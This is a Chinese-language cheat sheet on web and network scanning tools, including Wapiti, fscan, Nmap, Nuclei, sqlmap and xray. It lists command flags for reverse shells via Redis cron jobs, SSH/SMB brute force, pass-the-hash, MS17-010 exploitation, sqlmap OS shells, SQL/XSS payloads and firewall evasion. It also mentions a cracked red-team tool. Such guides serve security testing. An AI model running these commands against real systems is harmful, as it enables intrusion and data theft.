漏洞扫描工具入门

漏洞扫描

步骤

Wapiti

一个强大的自动化漏洞扫描工具

一,安装

kali自带

windows

1
2
# 使用Python安装
pip install wapiti3
1
2
3
4
5
6
7
8
# 基础扫描(最常用)
wapiti -u http://target.com

# 扫描并保存报告
wapiti -u http://target.com -o scan_report

# 查看报告(扫描完成后)
firefox scan_report/index.html

二,参数说明

参数 说明 示例
-u 目标URL wapiti -u http://target.com
-o 输出目录 -o ./reports
-f 报告格式 -f html
-m 扫描模块 -m "sql,xss"
-x 排除模块 -x "sql"
-c 配置文件 -c config.json
-p 代理设置 -p http://proxy:8080
-t 超时时间 -t 10
-d 扫描深度 -d 3

三、基础使用教程

3.1 最简单的扫描命令

bash

1
2
3
4
5
6
7
8
# 基础扫描(最常用)
wapiti -u http://target.com

# 扫描并保存报告
wapiti -u http://target.com -o scan_report

# 查看报告(扫描完成后)
firefox scan_report/index.html

四、实战扫描步骤

4.1 第一步:快速漏洞扫描

bash

1
2
3
4
5
6
# 完整漏洞扫描(默认所有模块)
wapiti -u http://target.com -o target_scan

# 扫描完成后查看报告
ls target_scan/
# 会生成index.html、report.html等文件

4.2 第二步:选择性漏洞扫描

bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 只扫描SQL注入和XSS漏洞
wapiti -u http://target.com -m "sql,xss" -o quick_scan

# 排除特定漏洞类型
wapiti -u http://target.com -x "sql,backup" -o clean_scan

# 常用模块列表
# sql - SQL注入
# xss - 跨站脚本
# backup - 备份文件
# exec - 命令执行
# file - 文件包含
# htaccess - .htaccess配置
# wp - WordPress漏洞

4.3 第三步:设置扫描深度和范围

bash

1
2
3
4
5
6
7
8
# 设置扫描深度(默认1)
wapiti -u http://target.com -d 3 -o deep_scan

# 设置最大扫描页面数
wapiti -u http://target.com --max-scan-per-module 100 -o limited_scan

# 设置最大链接数
wapiti -u http://target.com --max-links 2000 -o links_scan

4.4 第四步:使用代理扫描

bash

1
2
3
4
5
# 使用HTTP代理
wapiti -u http://target.com -p http://127.0.0.1:8080 -o proxy_scan

# 使用SOCKS代理
wapiti -u http://target.com -p socks5://127.0.0.1:1080 -o socks_scan

五、高级扫描技巧

5.1 认证扫描(登录扫描)

bash

1
2
3
4
5
6
7
8
# 方法1:使用表单认证
wapiti -u http://target.com -a login_data.txt -o auth_scan

# login_data.txt内容示例:
# {"login": "admin", "password": "admin123", "url": "http://target.com/login"}

# 方法2:使用cookies
wapiti -u http://target.com --cookie "session=abc123" -o cookie_scan

5.2 自定义payload扫描

bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 使用自定义payload文件
wapiti -u http://target.com --payload /path/to/payloads.json -o custom_scan

# payload文件示例格式
{
"sql": [
"' OR '1'='1",
"'; DROP TABLE users;--"
],
"xss": [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>"
]
}

5.3 批量扫描多个目标

bash

1
2
3
4
5
6
7
8
9
# 方法1:使用文本文件
# targets.txt内容:
# http://target1.com
# http://target2.com

wapiti -l targets.txt -o batch_scan

# 方法2:扫描子域名
wapiti -u http://target.com --scope folder -o folder_scan

5.4 设置请求头

bash

1
2
3
4
5
6
7
8
9
10
# 自定义User-Agent
wapiti -u http://target.com -H "User-Agent: Mozilla/5.0" -o header_scan

# 添加多个请求头
wapiti -u http://target.com --headers headers.txt -o multi_header_scan

# headers.txt内容:
# User-Agent: Mozilla/5.0
# X-Forwarded-For: 127.0.0.1
# Authorization: Bearer token123

六、报告生成与分析

6.1 生成不同格式的报告

bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# HTML报告(默认)
wapiti -u http://target.com -f html -o html_report

# JSON报告
wapiti -u http://target.com -f json -o json_report

# TXT报告
wapiti -u http://target.com -f txt -o txt_report

# XML报告
wapiti -u http://target.com -f xml -o xml_report

# 同时生成多种格式
wapiti -u http://target.com -f "html,json" -o multi_report

6.2 报告内容解读

text

1
2
3
4
5
6
7
生成的报告包含:
1. 漏洞摘要(按严重程度分类)
2. 漏洞详情(每个漏洞的描述)
3. 受影响的URL和参数
4. 攻击载荷(payload)
5. HTTP请求/响应示例
6. 修复建议

6.3 快速查看扫描结果

bash

1
2
3
4
5
6
7
8
# 查看扫描状态
cat scan_report/.history

# 查看发现的漏洞数量
grep -c "vulnerability" scan_report/report.html

# 提取高风险漏洞
grep -A5 "High" scan_report/report.html

七、常用扫描模板

7.1 快速安全检测

bash

1
2
# 只检测常见高危漏洞
wapiti -u http://target.com -m "sql,xss,exec,file" -o quick_check

7.2 全面漏洞扫描

bash

1
2
# 使用所有模块(默认)
wapiti -u http://target.com -o full_scan

7.3 WordPress网站扫描

bash

1
2
# WordPress专用扫描
wapiti -u http://target.com -m "wp" -o wp_scan

7.4 API接口扫描

bash

1
2
# 针对REST API的扫描
wapiti -u http://target.com/api -m "sql,xss,exec" --scope folder -o api_scan

八、实战示例

示例1:扫描测试网站DVWA

bash

1
2
3
4
5
6
7
# 扫描DVWA(需先启动DVWA服务)
wapiti -u http://localhost/dvwa -o dvwa_scan

# 使用认证扫描DVWA
wapiti -u http://localhost/dvwa \
-a '{"login": "admin", "password": "password", "url": "http://localhost/dvwa/login.php"}' \
-o dvwa_auth_scan

示例2:扫描包含登录的Web应用

bash

1
2
3
4
5
6
7
# 步骤1:首先正常扫描
wapiti -u http://target.com -o initial_scan

# 步骤2:如果发现登录页面,使用认证扫描
wapiti -u http://target.com \
--cookie "sessionid=abc123def456" \
-o authenticated_scan

示例3:限制扫描范围(避免误操作)

bash

1
2
3
4
5
# 只扫描指定目录
wapiti -u http://target.com/admin --scope folder -o admin_scan

# 排除某些路径
wapiti -u http://target.com --exclude "logout,delete" -o safe_scan

DudeSuite

一款渗透测试工具集

集成请求重放、漏洞验证、端口扫描、密码爆破、shell管理、fofa、编解码等实用工具

img

fscan

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

简单用法

1
2
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)

其他用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

Goby

红队破解版,有很多公开的红队POC可以自行集成

Nmap

常用命令

1. nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢

2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快

3. nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描

4. nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序

5. nmap -sI 僵尸ip 目标ip //使用僵尸机对目标机发送数据包

6. nmap -sA 192.168.96.4 //检测哪些端口被屏蔽

7. nmap 192.168.96.4 -p <portnumber> //对指定端口扫描

8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描

9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml

10. nmap -T1~6 192.168.96.4 //设置扫描速度,一般T4足够。

11. nmap -sV 192.168.96.4 //对端口上的服务程序版本进行扫描

12. nmap -O 192.168.96.4 //对目标主机的操作系统进行扫描

13. nmap -sC <scirptfile> 192.168.96.4 //使用脚本进行扫描,耗时长

14. nmap -A 192.168.96.4 //强力扫描,耗时长

15. nmap -6 ipv6地址 //对ipv6地址的主机进行扫描

16. nmap -f 192.168.96.4 //使用小数据包发送,避免被识别出

17. nmap –mtu <size> 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数

18. nmap -D <假ip> 192.168.96.4 //发送参杂着假ip的数据包检测

19. nmap –source-port <portnumber> //针对防火墙只允许的源端口

20. nmap –data-length: <length> 192.168.96.4 //改变发生数据包的默认的长度,避免被识别出来是nmap发送的。

21. nmap -v 192.168.96.4 //显示冗余信息(扫描细节)

22. nmap -sn 192.168.96.4 //对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活,)

23. nmap -sP 192.168.96.4 //仅仅对目标进行ping检测。

24. nmap -n/-p 192.168.96.4 //-n表示不进行dns解析,-p表示要

25. nmap –system-dns 192.168.96.4 //扫描指定系统的dns服务器

26. nmap –traceroute 192.168.96.4 //追踪每个路由节点。

27. nmap -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。

28. nmap -sP 192.168.96.4 //主机存活性扫描,arp直连方式。

29. nmap -iR [number] //对随机生成number个地址进行扫描。

防火墙/IDS逃逸&#x20;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -f --mtu=16 192.168.0.8
#报文分段,mtu必须是8的倍数

nmap -sI www.0day.com:80 192.168.0.8
#源IP欺骗

nmap --source-port 53 192.168.0.8
#源端口欺骗
#防火墙对服务器的设置会根据端口选择是否信任数据流
#管理员可能会认为这些端口不会有攻击发生,所以可以利用这些端口扫描

nmap --data-length 30 192.168.0.8
#在原来报文基础上,附加随机数据,达到规避防火墙的效果

nmap --spoof-mac 0 192.168.0.8
#指定一个随机的MAC地址

返回说明

端口状态说明

open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。

过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。

只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。

用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。

开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。

因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

端口扫描技术

TCP连接扫描

使用操作系统的网络连接系统调用 connect(),对目标主机发起 TCP 三路握手,待完成后 Nmap 立即中断此次连接。

Nmap 通过获取每个尝试连接的状态信息来判定侦测端口的状态

SYN扫描

Nmap 产生一个 SYN 数据报文,如果侦测端口开放并返回 SYN-ACK 响应报文

Nmap 据此发送 RST 报文给侦测端口结束当前连接,这样做的好处在于缩短了端口扫描时间

UDP扫描

UDP 本身是无连接的协议,Nmap 向目标主机的端口发送 UDP 探测报文

如果端口没有开放,被侦测主机将会发送一个 ICMP 端口不可到达的消息

Nmap 根据这个消息确定端口闭合(closed)或者被过滤 (unfiltered)

通常没有回复意味着端口是开放(open)状态 。

ACK扫描

这种扫描比较特殊,它不能确切知道端口的基本状态,而是主要用来探测防火墙是否存在以及其中设定的过滤规则

FIN扫描

和 SYN 扫描相比,这种方式更为隐蔽,因此能够穿过防火墙的过滤

关闭(closed)端口将会返回合适的 RST 报文,而开放端口将忽略这样的侦测报文

具备类似防火墙不敏感特性的还有 -sN NULL 扫描,-sX X-mas 扫描。

Nuclei

Nuclei是一个基于模板的、可配置攻击目标的扫描快速工具,同时还提供了强大的可扩展性和易用性。

常用命令

-c 并发请求数(默认10)nuclei -c 100

-timeout 超时时间(默认为5秒) nuclei -timeout 5&#x20;

-proxy-url 输入代理地址 nuclei -proxy-url hxxp://127.0.0.1:8080&#x20;

-proxy-socks-url 输入socks代理地址 nuclei -proxy-socks-url socks5://user:pass@Your IP:1080&#x20;

-random-agent 使用随机的UA nuclei -random-agent&#x20;

-H 自定义请求头 nuclei -H “x-bug-bounty:hacker”&#x20;

-update-templates 下载或者升级模板 nuclei -update-templates&#x20;

nuclei -t test.yaml –validate 验证模板格式

nuclei -t test.yaml -u http://exam.com 指定模板和目标

nuclei -t test.yaml -l target.txt 批量扫描

nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890 指定代理

nuclei -t test.yaml -l target.txt -stats Debug 查看扫描进度

nuclei -t test.yaml -u http://exam.com -debug查看发送数据包和返回包

全部参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# nuclei -h

用法:
nuclei [命令]

命令:
目标:
-u, -target string[] 指定扫描的URL/主机
-l, -list string 指定需要扫描的URL/主机文件(一行一个)

模板:
-t, -templates string[] 指定需要扫描的模板或者模板的路径
-nt, -new-templates 只扫描最新版本中添加的模板
-w, -workflows string[] 指定扫描中的工作流或者工作流目录
-validate 验证通过的模板
-tl 列出所有可用的模板

过滤:
-tags string[] 执行有标记的模板子集
-etags, -exclude-tags string[] 执行标记为排除的模板
-itags, -include-tags string[] 不执行具有攻击性的模板
-et, -exclude-templates string[] 要排除的模板或者模板目录
-it, -include-templates string[] 执行默认或配置中排除的模板
-s, -severity value[] 根据严重程度运行模板,可候选的值有:info,low,medium,high,critical
-es, -exclude-severity value[] 根据严重程度排除模板,可候选的值有:info,low,medium,high,critical
-a, -author string[] 执行指定作者的模板

输出:
-o, -output string 输出发现的问题到文件
-silent 只显示结果
-nc, -no-color 禁用输出内容着色(ANSI转义码)
-json 输出为jsonL(ines)
-irr, -include-rr 在JSONL中输出对应的请求和相应(仅结果)
-nm, -no-meta 不显示匹配的元数据
-nts, -no-timestamp 不在输出中显示时间戳
-rdb, -report-db string 本地的Nuclei结果数据库(始终使用该数据库保存结果)
-me, -markdown-export string 以markdown导出结果
-se, -sarif-export string 以SARIF导出结果

配置:
-config string 指定Nuclei的配置文件
-rc, -report-config string 指定Nuclei报告模板文件
-H, -header string[] 指定报告中的标题:value格式
-V, -var value 通过var=value指定var值
-r, -resolvers string 指定Nuclei的解析文件
-sr, -system-resolvers 当DNS错误时使用系统DNS
-passive 启用被动扫描处理HTTP响应
-ev, env-vars 在模板中使用环境变量

交互:
-inserver, -ineractsh-server string 使用interactsh反连检测平台(默认为"https://interact.sh")
-itoken, -interactsh-token string 指定反连检测平台的身份凭证
-interactions-cache-size int 指定保存在交互缓存中的请求数(默认:5000)
-interactions-eviction int 从缓存中删除请求前等待的时间(默认为60秒)
-interactions-poll-duration int 每个轮询前等待时间(默认为5秒)
-interactions-cooldown-period int 退出轮询前的等待时间(默认为5秒)
-ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板

限速:
-r1, -rate-limit int 每秒最大请求量(默认:150)
-rlm, -rate-limit-minute int 每分钟最大请求量
-bs, -bulk-size int 每个模板最大并行检测数(默认:25)
-c, -concurrency int 并行执行的最大模板数量(默认:25)


优化:
-timeout int 超时时间(默认为5秒)
-retries int 重试次数(默认:1)
-mhe, -max-host-error int 某主机扫描失败次数,跳过该主机(默认:30)
-project 使用项目文件夹避免多次发送同一请求
-project-path string 设置特定的项目文件夹
-spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑)
-stream 流模式 - 在不整理输入的情况下详细描述

无界面浏览器:
-headless 启用需要无界面浏览器的模板
-page-timeout int 在无界面下超时秒数(默认:20)
-sb, -show-brower 在无界面浏览器运行模板时,显示浏览器
-sc, -system-chrome 不使用Nuclei自带的浏览器,使用本地浏览器

调试:
-debug 显示所有请求和响应
-debug-req 显示所有请求
-debug-resp 显示所有响应
-proxy, -proxy-url string 使用HTTP代理
-proxy-socks-url string 使用SOCK5代理
-tlog, -trace-log string 写入请求日志到文件
-version 显示版本信息
-v, -verbose 显示详细信息
-vv 显示额外的详细信息
-tv, -templates-version 显示已安装的模板版本

升级:
-update 更新Nuclei到最新版本
-ut, -update-templates 更新Nuclei模板到最新版
-ud, -update-directory string 覆盖安装模板
-duc, -disable-update-check 禁用更新

统计:
-stats 显示正在扫描的统计信息
-sj, -stats-json 将统计信息以JSONL格式输出到文件
-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)
-m, -metrics 显示Nuclei端口信息
-mp, -metrics-port int 更改Nuclei默认端口(默认:9092)

Packer Fuzzer

一款针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具

全部参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
-u(--url)

要扫描的网站网址路径,为必填选项,例如:-u https://demo.poc-sir.com;

-c(--cookie)

附加cookies内容,可为空,若填写则将全局传入,例如:-c "POC=666;SIR=233";

-d(--head)

附加HTTP头部内容,可为空,若填写则将全局传入,默认为Cache-Control:no-cache,例如:-d "Token:3VHJ32HF0";

-l(--lang)

语言选项,当为空时自动选择系统对应语言选项,若无对应语言包则自动切换至英文界面。可供选择的语言包有:简体中文(zh)、法语(fr)、西班牙语(es)、英语(en)、日语(ja),例如:-l zh;

-t(--type)

分为基础版和高级版,当为空时默认使用基础版。高级版将会对所有API进行重新扫描并模糊提取API对应的参数,并进行:SQL注入漏洞、水平越权漏洞、弱口令漏洞、任意文件上传漏洞的检测。可使用adv选项进入高级版,例如:-t adv;

-p(--proxy)

全局代理,可为空,若填写则全局使用代理IP,例如:-p https://hack.cool:8080;

-j(--js)

附加JS文件,可为空,当您认为还有其他JS文件需要本工具分析时,可使用此选项,例如:-j https://demo.poc-sir.com/js/index.js,https://demo.poc-sir.com/js/vue.js;

-b(--base)

指定API中间部分(例如某API为:https://demo.poc-sir.com/v1_api/login 时,则其basedir为:v1_api),可为空,当您认为本工具自动提取的basedir不准确时,可使用此选项,例如:-b v1_api;

-r(--report)

指定生成的报告格式,当为空时默认生成HTML和DOC格式的报告。可供选择的报告格式有:html、doc、pdf、txt,例如:-r html,pdf;

-e(--ext)

是否开启扩展插件选项,本工具支持用户自我编写插件并存入ext目录(如何编写请参考对应目录下demo.py文件)。默认为关闭状态,当用户使用on命令开启时,本工具将会自动执行对应目录下的插件,例如:-e on;

-f(--flag)

SSL连接安全选项,当为空时默认关闭状态,在此状态下将会阻止一切不安全的连接。若您希望忽略SSL安全状态,您可使用1命令开启,将会忽略一切证书错误,例如:-f 1;

-s(--silent)

静默选项,一旦开启则一切询问YES或NO的操作都将自动设置为YES,并且参数后的内容便是本次扫描报告的名称(自定义报告名),可用于无人值守、批量操作、插件调用等模式,例如:-s Scan_Task_777。

--st(--sendtype)

请求方式选项,目前本选项支持POST和GET参数,一旦开启则将会使用对应的请求方式扫描所有的API,若不开启将会通过HTTP状态码来进行智能请求。

--ct(--contenttype)

Content-Type选项,可通过此选项自定义扫描时的HTTP请求头中的Content-Type参数内容,若不开启将会通过HTTP状态码来进行智能请求。

--pd(--postdata)

POST内容选项,可通过此选项自定义扫描时的POST请求内容(所有的扫描都将会使用此内容,仅对POST场景有效),若不开启将会通过HTTP状态码来进行智能请求。

--ah(--apihost)

Api域名选项,可通过此选项自定义扫描时所有的API请求域名,例如:api部分(从JS中提取到的API路径)为/v1/info,扫描的url(-u --url参数传入内容,扫描的网页)为http://exp.com/,当apihost参数传入https://pocsir.com:777/则此时的API为https://pocsir.com:777/v1/info而不是http://exp.com/v1/info,用于api与前端不同域名或服务器等场景。

--fe(--fileext)

Api扩展名选项,可通过此选项对所有API都添加特定的扩展名,以便应对在提取API时出现扩展名提取缺失的情况,例如:当提取到的API为https://pocsir.com:777/v1/info时,传入--fe .json则工具将会自动将API转化成https://pocsir.com:777/v1/info.json进行扫描及检测。

scan4all

集成 vscan、nuclei、ksubdomain、subfinder等,充分自动化、智能化 并对这些集成的项目进行代码级别优化、参数优化,个别模块,如 vscan filefuzz部分进行了重写

常用参数

对 127.0.0.1 进行http常用端口扫描,扫描完端口后对端口地址进行检测

1
scan4all -host 127.0.0.1

直接对端口地址测试

1
scan4all -host http://127.0.0.1:7001

对 192.168.1.1/24 C段进行端口扫描,扫描完端口后对端口地址进行检测

1
scan4all -host 192.168.1.1/24

对 ips.txt 内的 ip/域名/c段/url地址 进行逐行检测(如果有url地址,则不会进行端口扫描)

1
scan4all -l ips.txt

对 127.0.0.1 的7001,7002端口进行检测

1
scan4all -host 127.0.0.1 -p 7001,7002

对 127.0.0.1 进行 NmapTop1000 端口进行检测 (不使用此参数,默认进行http常用端口扫描)

1
2
scan4all -host 127.0.0.1 -top-Ports 1000
scan4all -host 127.0.0.1 -top-Ports http

使用dnslog

1
scan4all -host 127.0.0.1 -ceyeapi xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -ceyedomain xxxxxx.ceye.io

导出到文件

1
2
scan4all -host 127.0.0.1 -json -o 1.json
scan4all -host 127.0.0.1 -csv -o 1.csv

只扫描端口和指纹不检测poc

1
scan4all -host 127.0.0.1 -np

设置扫描线程和速率&#x20;

1
scan4all -host 127.0.0.1 -c 25 -rate 1000

设置代理

1
-proxy socks5://127.0.0.1:1080

sqlmap

SQL注入检测工具

常用参数

判断注入是否存在

sqlmap.py -u “www.xxx.com/user.jsp?id=1

直接加载数据包测试

sqlmap.py -r head.txt –dbs //head.txt 内容为 HTTP 请求

获取数据库

sqlmap.py -u “www.xxx.com/user.jsp?id=1“ –dbs

查看当前应用程序所用数据库

sqlmap.py -u “www.xxx.com/user.jsp?id=1“ –current-db

列出指定数据库的所有表

sqlmap.py -u “www.xxx.com/user.jsp?id=1“ –table -D “数据库”

读取指定表中的字段名称

sqlmap.py -u “www.xxx.com/user.jsp?id=1“ –columns -T “数据表” -D “数据库”

读取指定字段内容

sqlmap.py -u “www.xxx.com/user.jspid=1“ –dump -C”字段” -T “数据表” -D “数据库”

执行Shell命令

sqlmap.py -u “URL” –os-cmd=”net user” //执行 net user 命令

sqlmap.py -u “URL” –os-shell //系统交互的shell

POST提交方式

sqlmap.py -u “URL” –data “POST参数”

显示详细的等级

sqlmap.py -u “URL” –dbs -v 1

-v 参数包含以下7个等级。

·0:只显示Python的回溯、错误和关键消息;

·1:显示信息和警告信息;

·2:显示调试信息;

·3:有效载荷注入;

·4:显示HTTP请求;

·5:显示HTTP响应头;

·6:显示HTTP响应页面的内容。

注入等级

sqlmap.py -u “URL” –level 3


将注入语句插入到指定位置(常用于伪静态注入)

sqlmap.py -u “http://www.xxx.com/id/2\\*.html“ –dbs

使用 Sqlmap 插件

sqlmap.py -u “URL” –tamper “space2morehash.py”

TscanPlus

一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。

xray

一款长亭自研的完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档

使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描

1
xray webscan --basic-crawler http://example.com --html-output vuln.html

使用 HTTP 代理进行被动扫描

1
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html

设置浏览器 http 代理为 http://127.0.0.1:7777,就可以自动分析代理流量并扫描。

只扫描单个 url,不使用爬虫

xray webscan –url http://example.com/?a=b –html-output single-url.html